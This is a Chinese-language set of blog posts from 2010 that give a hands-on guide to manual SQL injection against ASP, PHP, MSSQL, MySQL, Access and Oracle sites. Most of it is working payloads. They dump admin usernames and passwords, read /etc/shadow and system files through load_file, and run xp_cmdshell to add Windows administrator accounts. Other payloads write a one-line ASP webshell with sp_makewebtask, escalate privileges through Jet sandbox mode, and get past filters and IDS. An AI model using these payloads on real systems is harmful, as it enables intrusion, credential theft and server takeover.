手工注入经验
1. 单引号
但如果单引号测试出错，是可以试试and 1=1的，因为一些对SQL注入有一点了解的程序员认为只要把单引号过滤掉就可以了
2. 传入参数为数字型时：
and 1=1
and 1=2
可以注入的提示：
BOF或EOF，程序未做任何判断
提示找不到记录，判断了rs.eof
显示内容为空，程序加了on error resume next
不可注入的提示：
类型转换时出错
其他自定义的出错提示
3. 传入参数不为数字型时，需要变动一下
比如：
asp?id=aeo' and '1'='1
asp?id=aeo' and '1'='2
二、判断数据库类型
1.And user>0
user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个 nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。
这样就可以判断是否为SQLServer数据库或Access,前提是IIS错误提示未关闭，并且SQL返回错误提示
2.sysobjects和msysobjects
Sysobjects是SQL的内置系统表，在WEB下可以正常读取，msysobjects是Access的内置系统表，在WEB下无权读取。
那么就可以输入
and (select count(*) from sysobjects)>0
或
and (select count(*) from msysobjects)>0
这两句随便输入一句即可判断。
也可以提交
;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
如果显示正常，说明是SA
3.在注入点后加上：
;--
一个分号两个横线，如果页面返回正常的话，说明数据库是MSSQL，因为在MSSQL数据库里，;和--都是存在的，";" 用来分离两个语句，而"--"就是注释符，在它后面的语句都不执行，而ACCESS数据库里没有。
4.高级数据库类型判断方法
某日，发现一目标存在SQL注入，且过滤了select等相关敏感字段，用工具暂无法判断数据库类型。
后发现调用某些SQL函数也可判断数据库类型，虽然SQL语句大部分是通用的。但一些内置的函数还是有一定的区别。
len和length
在mssql和mysql以及db2内，返回长度值是调用len()函数；在oracle和INFORMIX则是通过length()来返回长度值。
换句话说。
当你使用and len('a')=1的时候，返回正常页面时，可以推断当前的数据库类型可能是mssql，或mysql，或是db2。反之则可能会是oracle和informix。
@@version和version()
在mysql内，可以用@@version或是version()来返回当前的版本信息。但无法判断是mysql还是mssql时，可以用version()函数来构造判断。
换句话说：
version()>1 返回与@@version>1 相同页面时，则可能是mysql。如果出现提示version()错误时，则可能是mssql。
substring和substr
在mssql中可以调用substring。oracle则只可调用substr
SUBSTRING('abc',1,1)=a 返回成功，刚可能是mssql。使用substr('abc',1,1)=a 返回成功，则可能为oracle
5、阿呆的判断数据库的方法
原文在阿呆的博客里有
http://www.xxxx.com/infoshow.php?id=251/**//*
提交这样的地址，返回正常，说明是MYSQL
阿呆是这么说的，我没弄明白原理
手工注入经验--2
2010-05-24 22:38
三、猜表名
1.And (Select Count(*) from Admin)>=0
如果页面正确，则admin表存在，反之则不存在
2.and exists (select * from admin)
如果页面正确，则admin表存在，反之则不存在
3. and 0<>(select count(*) from admin)
如果页面正确，则admin表存在，反之则不存在
4. and (select count(*) from admin)>2
判断该表内有几条记录，也就是判断有几个管理员
四、猜字段
1. And (Select Count(字段名) from Admin)>=0
如果页面正确，则admin表中的相应字段存在，反之则不存在
2.and exists (select 字段名 from admin)
如果页面正确，则admin表中的相应字段存在，反之则不存在
3. and 1=(select count(*) from admin where len(username)>0)
如果页面正确，则admin表中的相应字段存在，反之则不存在
五、猜内容
可以分为两种情况，一种是支持联合查询，另外是不支持联合查询
阿呆的判断是否支持联合查询的方法：
51/">http://www.xxxx.com/infoshow.php?id=251/**/and/**/ord(mid(version(),1,1))>51/*
页面正常则说明支持
在mysql中 有很多的注射能用到的函数 比如 user() database() version() 分别用来查看当前数据库连接的用户名，数据库名称 以及mysql的版本，这些函数可以直接用于显示位里，比如：
http://www.xxxx.com/infoshow.php?id=251/**/and/**/1=2%20union%20select%201,user(),3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
这样就返回了相应的信息。
那么可能就有人会说，我要他这几个函数得到的信息怎么利用呢？下面是答案：
如果当前连接数据库的用户是 root的话 可以尝试使用 loadfile()函数来查看文件内容，不过前提是要知道文件的绝对路径，至于绝对路径需要我们通过不同的手段来拿到。
穿插一点：php+mysql注入中load_file()函数的应用
注入的过程中 如果当前数据库连接用户为root或者具有root权限就可以尝试使用这个函数来读取文件 比如在linux下我们可以读取 /etc/passwd 和/etc/shadow来暴力破解linux密码
在windows下 我们可以读取 一些常见的文件以及敏感的地方比如 serv-u的配置文件 my.ini等等
刚才我们已经爆出了当前数据库连接的用户名root@localhost
查看下 c:\boot.ini 这里假设是windows系统 其实就是windows系统
格式是这样的 load_file(0x+文件绝对路径的16进制)
我们先用工具转换下 刚才的断了 我们继续 我一直用这个工具转换
c:\boot.ini转换成16进制是633A5C626F6F742E696E69
我们load_file()看看,输入
union+select+1,2,3,load_file(0x633A5C626F6F742E696E69),5,6,7,8,9,10，如图十三
额，说一下，这个图我给和谐掉了，因为这篇文章都是文字，这里出来一个图，发的时候不好发，所以就给和谐了，但是不影响理解的，只是看不到实效罢了，我们完全可以在自己的实践中来运用。
可以看出来，boot.ini已经被读出来了，上次问YoCo，他说是可以加载任意文件的，只要你知道路径，记得原来看过一个专门说load_file的文章，忘了扔哪去了，这次整理资料也找不到了，叹一个，YoCo你要看到这篇文章的话帮忙想一下，我记得好像是你给我的文章地址…
还有个技巧，在WIN下load_file('C:\WINDOWS\system32\inetsrv\MetaBase.xml') 可了解IIS配置 在无法获得路径的情况下是个不错的方法
查看文章
手工注入经验--3
2010-05-24 22:38
1、支持联合查询
A、判断该页面字段数，并得到显示位
有两种方法，一种是：
And 1=2 union select 1,2,3,4…
直到页面显示正确
需要注意的是，这种方法有时需要将这些数字换成null
另一种是用order by
Order by 10
显示正确则字段数大于10，反之则不大于
B、爆出用户名和密码
And 1=2 union select 1,2,3,4,username,5,6,7 from admin
这样就直接爆出了用户名，然后再爆出密码即可。
需要注意的是，如果是PHP注入，则需要将上面的语句换成：
And 1=2+union+select+1,2,3,4,concat(username),5,6,7+from+admin
上面的语句也可以换成：
And 1=2/**/union/**/select/**/1,2,3,4,concat(username),5,6,7/**/from/**/admin/*
那么，我们这个方法是取的数据库中的第一列的数据来输出的，那么，如果这个网站有多个管理员，我们想得到第二个管理员的信息，这时候该怎么办呢？
这个时候我们可以使用判断语句来查询不同的管理员的用户名和密码，在管理员表中一般都有个id字段，我们可以用这个字段的值来查询不同的管理员信息，一般的都是 从1开始的，（当然，也存在不是从一开始的情况，那个时候就需要我们慢慢猜一下了）
and+1=2+union+select+1,username,3,password,5,6,7,8,9,10+from+users+where+id=2
这样，第一列的管理员的id是1的话，我们让id等于2，这样就取出了第二个管理员的信息。
2、不支持联合查询
这样的话就只好一位一位的猜了
首先，测试字段内记录的长度
and (select top 1 len(username) from Admin)>0
拿出username中的第一条记录，判断长度是否大于0，大于，则显示正确，反之，不大于
也可以and 1=(select count(*) from admin where len(username)=5)
显示正常说明username的内容等于5，一般为admin，换掉5的值即可判断出该字段的长度。
取得长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII码，如
and (select top 1 asc(mid(username,1,1)) from Admin)>0
拿出username中的第一条记录中的第一个字符的ASC码，并判断其值是否大于0，改变0值即可判断出该字符的ASC码大小，然后再转换得到真实字符。
英文和数字的ASCII码在1-128之间。
中文处理办法：
Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。
SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得对应的中文字符。
了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。
手工注入经验--4
2010-05-24 22:39
六、SQL的一些函数
有SQL语言基础的人，在ＳＱＬ注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平，特别是一些常用的函数及命令。
Access：asc(字符) SQLServer：unicode(字符)
作用：返回某字符的ASCII码
Access：chr(数字) SQLServer：nchar(数字)
作用：与asc相反，根据ASCII码返回字符
Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)
作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串
Access：abc(数字) SQLServer：abc (数字)
作用：返回数字的绝对值（在猜解汉字的时候会用到）
Access：A between B And C SQLServer：A between B And C
作用：判断A是否界于B与C之间
查看文章
手工注入经验--5
2010-05-24 22:40
七、SQL高级注入
SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：
① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：
② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。
③ http://Site/url.asp?id=1 ;and db_name()>0
前面有个类似的例子and user>0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。
④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\\202.96.xx.xx\Share \1.db），但成功率不高。
⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。
⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
⑦asp?id=1;update admin set password= '新MD5密码' where password= '旧MD5密码' –
这句更狠，用于解不出MD5的情况，直接把密码给替换掉了，但是只能用于SQL数据库，admin为表名
八、绕过程序限制继续注入
1、如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(29992)+nchar(25143)代替。
2、运用编码技术绕过
如URLEncode编码，ASCII编码绕过。
例如or 1=1即
%6f%72%20%31%3d%31
而Test也可以为
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
3、通过空格绕过
如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格，如
or' swords' =‘swords'，由于mssql的松散性，我们可以把or 'swords' 之间的空格去掉，并不影响运行。
4、运用字符串判断代替
用经典的or 1=1判断绕过,
如
or 'swords' ='swords'
这个方法就是网上在讨论的。
5、通过类型转换修饰符N绕过
可以说这是一个不错的想法，他除了能在某种程度上绕过限制，而且还有别的作用，大家自己好好想想吧。关于利用，
如
or 'swords' = N' swords'
，大写的N告诉mssql server 字符串作为nvarchar类型，它起到类型转换的作用，并不影响注射语句本身，但是可以避过基于知识的模式匹配IDS。
6、通过+号拆解字符串绕过
效果值得考证，但毕竟是一种方法。如
or 'swords' =‘sw' +' ords' ；EXEC(‘IN' +' SERT INTO '+' …..' )
7、通过LIKE绕过
以前怎么就没想到呢？
如
or'swords' LIKE 'sw'
显然可以很轻松的绕过“=”“>”的限制……
8、通过IN绕过
与上面的LIKE的思路差不多,
如
or 'swords' IN ('swords')
9、通过BETWEEN绕过
如
or 'swords' BETWEEN 'rw' AND 'tw'
10、通过>或者<绕过
or 'swords' > 'sw'
or 'swords' < 'tw'
or 1<3
……
11、运用注释语句绕过
用/**/代替空格，如：UNION /**/ Select /**/user，pwd，from tbluser
用/**/分割敏感词，如：U/**/ NION /**/ SE/**/ LECT /**/user，pwd from tbluser
12、用HEX绕过，一般的IDS都无法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
查看文章
手工注入经验--7
2010-05-24 22:41
九、注入经验
1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。
2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。
3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。
4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。
1. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。
十、几个oracle注入的时候需要注意的地方
1)OracIe注入的时候，union语句的前后类型必须要匹配，要不然会查询不成功。oracle类型常见的有字符类型、数字类型和日期类型等 一般我们能用来做union查询并显示的是字符类型和数字类型。前面构造的 union select 1,2,3,4,5,6,7,8,9,10,11,1213,14,15,16 这个SQL语句的union后面全部是数字类型，而前面肯定有其它类型，所以是不能查询成功的。oracle并不会自己做数据类型转换，但是oracle中可以用NULL匹配所有的数据类型，所以我们等会可以先全部SeIect NULL，然后再逐一检查union之前所select的类型。
2)select语句后面必须要跟表名，要不然也不能查询成功。"seIect 1,2,3 这样的语句在SQL Server和MySQL中是可以成功执行的，但在oracIe中必须在后面加上表名．比如 select 1,2,3 from admin才行。不过这也不是问题。oracle中有个默认谁都有权限的表 dua ．我们可以在select后面加上这个表名。
手工注入经验--8
2010-05-24 22:42
十一、偏移注射
关于Union偏移注射这个东西，最早貌似是lake2大黑客提出来的，以前一直当他是鸡肋，没去关注过，直到昨天遇到一个mysql 4.1的点。
表，列都猜出来了，就差数据。因为他的参数是按“,”分割的，所以在注射的时候必须避开逗号，这样一来普通的union就用不成了，想暴力猜解也不行，因为substring也得用到逗号。无奈中想起join语句，偏移注射里面有一个很重要的技巧就是用join语句来控制字段数和数据显示的位置。麻烦的地方在于很多时候你根本不知道目标系统的环境，表里到底有多少列，数据类型什么的，怎么把他拼装到凑齐字段数，只能靠乱猜。
目标网站order by 7正常，order by 8无返回，那么一共是7个字段，按照通常的做法，应该是先and 1=2 union select 1,2,3,4,5,6,7#来看看情况，这里因为要避开逗号，就必须用到join语句。但是不知道用户表一共有几列，没有关系，我们可以用select * from ((select username from users)as a join (select username from users)as b on a.username=b.username)，把select出部分字段的结果集当做一个表，然后来join到一起，这样只要把(select username from users)as a重复7次，就可以把字段补齐。
上面的语句在mysql5里面可以正常执行，也可以用到union子句中，可是在mysql4里就报语法错误，看来4.x不支持这么复杂的嵌套。修改了一下：
select * from users as a join (select id from users) as b on a.id=b.id
这样在4.1里可以正常执行，4.0因为不支持子语句，简单的说就是不支持()里带select，所以就木有办法鸟。
但是这样又有问题鸟，因为第一个select后面必须跟*，否则只会返回第一列。Mysql的join语句默认应该是inner join，也就是内连接，我尝试换成left join或者right join都不行，我记得mysql4应该是支持左连接和右连接的，搞不懂这里为什么行不通。这么一来又必需猜目标表的字段数了，而且目标表的字段数必需＜=语句里select出的字段数才行，也受显示数据字段的制约。好处就是不知道列名也没关系，可以用常数来代替，即select 1,2,3,4,5 union select * from users as a join (select 1 from users) as b join (select 1 from users) as c on a.id=1
这样就完全避开了“,”，select出来的数据里可能会有很多重复，用distinct关键字过滤掉即可。
如果目标表的字段>前面选择的字段也没关系，因为必需保证最前面的字段是*，找一个字段少一点的表，即select * from news as a join (select username from users) as b，不过这个东西受到扫出来的表名，字段数，显示数据字段的制约，比较鸡肋了。
以上语句在mysql里测试成功，如果要在access或者mssql里使用，估计得另外调试。这个跟以前提出来那个偏移注射有些区别，也姑且算另外一种意义上的偏移注射吧。核心思想就是不断的join来补齐字段，从而避开。
最郁闷的是，最后竟然是用fckeditor搞定shell的，真没技术含量，一下午白研究了-_-
刚才在外面骑车的时候，突然想到，之前的语句select * from users as a join (select id from users) as b on a.id=b.id前面必须要用到*是因为他并没有把这个select * from users as a作为一个整体来解析，而是将users as a跟后面的join到一起了，即select * from (users as a join (select id from users) as b on a.id=b.id)，当然前面要用*，才能返回子语句里所有的列数了。
那么改写成select distinct * from (select 1 from users)as a join (select 2 from users)as b即可，然后依次像后面join补齐字段，最后把合适的地方换成用户名密码字段即可。mysql 4.1下测试成功，当然还是需要知道列名，呵呵
十二、猜出绝对路径进行差异备份
MSSQL数据库，还可以猜解网站存放在服务器中的根目录，通过差异备份备份出一句话，然后通过一句话木马客户端，上传脚本木马
如果一个网站注入点是MYSQL数据库，且是DB权限，或者是SA权限，能够列目录，那么就好办了，找到网站的目录，目录通常在D和E盘，备份个小马，上地址访问看看成功没，直接备份大马貌似不行，成功后，再输入大马内容
查看文章
手工注入经验--9
2010-05-24 22:42
十三、通过注入点判断服务器的硬盘(分区)是否有访问权
http://www.fun***.com/user/wmadown.asp?id=48187，这个是注入点了的。现在我们用 SQL查询语句试试，C盘是否有访问权限。
语句是：
and (select count(*) from c:\autoexec.bat.c)>0
解释一下原理，其它AC数据库也是可以跨库查询。只要把 from 后的表名改成MDB数据库的硬盘绝对地址，后台加上个“. ”，接上要查的表名。例如，我要查D盘yqf.mdb中的ADMIN表：
and (select count(*) from d:\yqf.mdb.admin)>0
这样的语句，只要知道服务器硬盘其它数据库地址，ACCESS也能跨库查询。只是不知道地址，所以这个无关紧要。
and (select count(*) from c:\autoexec.bat.c)>0
为什么说用这句可以判断是否有硬盘访问权限呢？大家都知道c:\autoexec.bat 是系统里自有的文件 无论哪个系统都有，而大家默认安装WINDOWS也是装在C盘，如果这样找不到文件的话，你可以试试其它盘。
现在我们提交：
and (select count(*) from c:\autoexec.bat.c)>0
看到吧“不可识别的数据库格式'c:\AUTOEXEC.BAT'”报错信息，这样表示C盘有访问的权限。因为读到了AUTOEXEC.BAT把autoexec.bat当mdb数据库来处理了，所以就出现这样的错误提示。
现在我们用刚传的马去看看，呵，C盘有访问的权限吧。反之，如果没有访问权限，则会提示“c:\autoexec.bat 已被另一种方式打开，或者无权访问。”类似这样的提示，就是无权限访问了。
不过 autoexec.bat 可以测试，比如 c:\winnt\system32\cmd.exe，这些系统原有的文件都可以用来试。
查看文章
手工注入经验--10
2010-05-24 22:44
十四、sa下的注入提权
虽说这年头讨论注射已经有点过时了,何况还是sa,但是在遇到我这种情况时,怕只有对injection研究高深的人才能突破吧...
本文讨论仍然是sql_server &Win32下的环境
是的,网络上已经发布了不少对于存储扩展应用的文档,但大部分是转载的,真正的原理少只又少
比如xp_subdirs 是如何获取目录的,是cracert tables 然后select反馈?
比如xp_cmdshell 是如何执行cmdshell的 dbo下的system继承?
比如sandboxmode下的net user是如何执行的,vbs调用的Shell()?
等等等等~~
sa的注射搞不下服务器真有点丢人,前提继承的是system :) ,至于其他牛角尖的环境就留给那些提问者吧
好了,说说一些特殊的环境吧
我们知道,各扩展存储都有调用他们对应的dll文件,例如: sp_OACreate调用odsole70.dll xp_Cmdshell调用xplog70.dll
OK,进入正题:
情况1:
dll文件被替换(因为dll是存储在sqlserver指定路径中的),比如sp_Oacreate被替换成xpweb70.dll
如何测试这种情况呢?可以exec sp_oraceate 'xxxxxxx' 提示:找不到sp_oraceate,对应的xx.dll没有此函数之类的
解决方法:
exec sp_dropextendedproc 'Sp_OACreate'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='上传dll'
情况2:xp_cmdhshell 或oacreate 无法利用时,采用sandboxmode(沙盒模式)
沙盒模式是通过access创建vbs 函数来执行shell的
具体语法就不说了前提是要能执行xp_regwrite 开启它
但这个利用方法有个局限性,它并不是通过cmd 来调用文件执行的,一般情况下是cmd.exe /c net user 这样,而他是net user 为什么呢? 这么理解吧 shell 'c:\windows\system32\net.exe user'这样明白了吧,他只支持system32下的文件调用
而一般的dir ,echo,copy...等等都无法直接利用 可以尝试cmd /c dir..... 这样调用
由此引发情况3:
cmd,net被禁或更改,这是比较纳闷的问题,而且国内似乎也没有相关的解决办法
回到情况二,如上所述sandboxmode能调用system32下的文件,别忘记了有个cacls,有了它,那么网站的权限配置几乎为0了(再次强调,此法必须继承system权限,并且cmdshell等无法利用的情况下)
测试方法:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("cacls c:\windows\system32\cmd.exe /t /e /c /g system:F")'); 赋予cmd.exe的system用户所有权限
如果cmd被删或者net.exe,net1.exe被禁也可calcs c:\windows\system32\net.exe /t /e /c /g system:f
相比而言sandboxmode的局限性比较小,只需要可以使用xp_regwrite 开启而一般站点管理员对xp_regwrite 的安全配置会比较马虎
xp_regwrite被删时,可EXEC sp_addextendedproc xp_regwrite,'xpstar.dll'恢复
本文讨论的只是sqlserver 注射下的冰山一角，当是抛砖引玉吧~
十五、更高级的union select，跨库查询
这里说的是ACCESS的跨库，原文地址：
http://www.4ngel.net/article/46.htm
查看文章
手工注入经验-11
2010-05-24 22:44
十六、SQL注射及提权经验
MSSQL数据库：
1：SA权限
一般说来,无论谁拿到一个SA权限的注射点。都会很开心。
<1>直接执行net user等命令。
<2>可列目录但不能执行系统命令。
可以列出目录找出网站中可以利用的地方,比如ewebeditor,或者上传地址(试试是否有上传漏洞),等等。
或者找服务器下其他网站,然后入侵之。
如果无其他漏洞可以找到,那就利用备份得到一个webshell。
<3>无cmdshell
那就恢复之。详细请参考
http://www.hacker.com.cn/forum/view_118677.html ; 中的6楼
<4>如果无法恢复cmdshell
http://forum.eviloctal.com/viewthread.php?tid=31487&highlight=sa
可以参考下这篇文章。也就是利用的sp_oacreate来执行。可以通过5次shift来登陆3389
还可以利用sp_makewebtask直接在web目录里写入一句话马
<A href="http://127.0.0.1/sql.asp?id=1';exec%20sp_makewebtask%20'd:\www\xxx.asp','%20select%20''''%20'">http://127.0.0.1/sql.asp?id=1';exec%20sp_makewebtask%20'd:\www\xxx.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
还可以利用沙盒模式提权
EXEC%20master.dbo.xp_regwrite%20'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
Select*From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user aloner$ aloner /add")');--
;Select*From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators aloner$ /add")');--
如果上述方法仍然不行,那就猜解出后台帐户和密码,然后登陆后台。看看有没什么可以利用的。
2：db权限
Db权限可以列出网站目录，然后备份。用一句话连接得到webshell.
如果可以列目录,但无法备份，也同样可以利用找其他漏洞来入侵。毕竟整个网站都可以被你浏览了。
然后就是猜解出后台帐户和密码登陆后台了。
还有一种就是关于一篇db权限备份到启动项得到系统权限。可以参考下这篇文章
http://www.hacker.com.cn/article/view_13207.html
public权限
此权限很多人不会利用。
但是可以列出目录的。
具体参考这篇文章
http://www.hacker.com.cn/forum/view_118677.html第10楼。
Mysql数据库:
Root权限下可以直接利用loadfile读取网站的文件内容(网站的配置信息)
然后就是注入语句得到管理员密码，登陆后台
